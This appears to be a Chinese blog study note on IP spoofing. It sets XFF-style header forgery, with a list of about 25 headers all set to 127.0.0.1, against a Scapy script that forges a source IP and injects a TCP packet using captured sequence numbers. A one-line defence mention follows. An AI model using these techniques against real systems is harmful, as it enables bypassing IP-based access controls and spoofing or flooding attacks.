前言
刚开始认为ip伪造只是简单的更改http请求里面的请求头,后面发现可以更改的地方还是比较多的,记录一下,目前学到的
应用层(HTTP) :xff等ip请求头伪造 用于伪造ip
网络层/传输层 :IP 层伪造(Scapy 库构建) 用于反射 / 放大攻击/DDoS / SYN Flood
防御:采用TCP 握手的源 IP【该ip是内核给的】、在路由器上启用RPF检查
| 对比点 |
IP 层伪造(Scapy 那种) |
XFF 伪造 |
| 所在层级 |
网络层 / 传输层 |
应用层(HTTP) |
| 改的是什么 |
IP 包头里的 src IP |
HTTP Header |
| 能否完成 TCP 握手 |
❌ 不能 |
✅ 能 |
| 服务器看到的 TCP IP |
❌ 假的 |
✅ 真的 |
nginx remote_addr |
❌ 伪造值 |
✅ 真实值 |
| 能否正常访问接口 |
❌ |
✅ |
| 主要用途 |
DDoS / 反射攻击 |
绕业务逻辑 |
| 安全价值 |
网络攻击 |
Web 漏洞利用 |
应用层
这个就是抓包软件抓到然后改请求头就行了,常用的ip伪造请求头如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded: 127.0.0.1 X-Requested-With: 127.0.0.1 X-Forwarded-Proto: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-remote-IP: 127.0.0.1 X-remote-addr: 127.0.0.1 True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 Ali-CDN-Real-IP: 127.0.0.1 Cdn-Src-Ip: 127.0.0.1 Cdn-Real-Ip: 127.0.0.1 CF-Connecting-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 WL-Proxy-Client-IP: 127.0.0.1 Proxy-Client-IP: 127.0.0.1 Fastly-Client-Ip: 127.0.0.1 True-Client-Ip: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Host: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1
|
网络层/传输层
使用 Scapy 库编写 IP 地址欺骗攻击脚本_scapy ip-CSDN博客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from scapy.all import * from scapy.layers.inet import TCP def non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num): packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack" send(packet) if __name__ == "__main__": target_ip = "192.168.134.148" # 目标系统的IP地址 spoofed_ip = "192.168.1.1" # 伪造的源IP地址 target_port = 80 # 目标系统开放的端口 seq_num = 1000 # 合法通信中捕获的序列号 ack_num = 1001 # 合法通信中捕获的确认号 non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)
|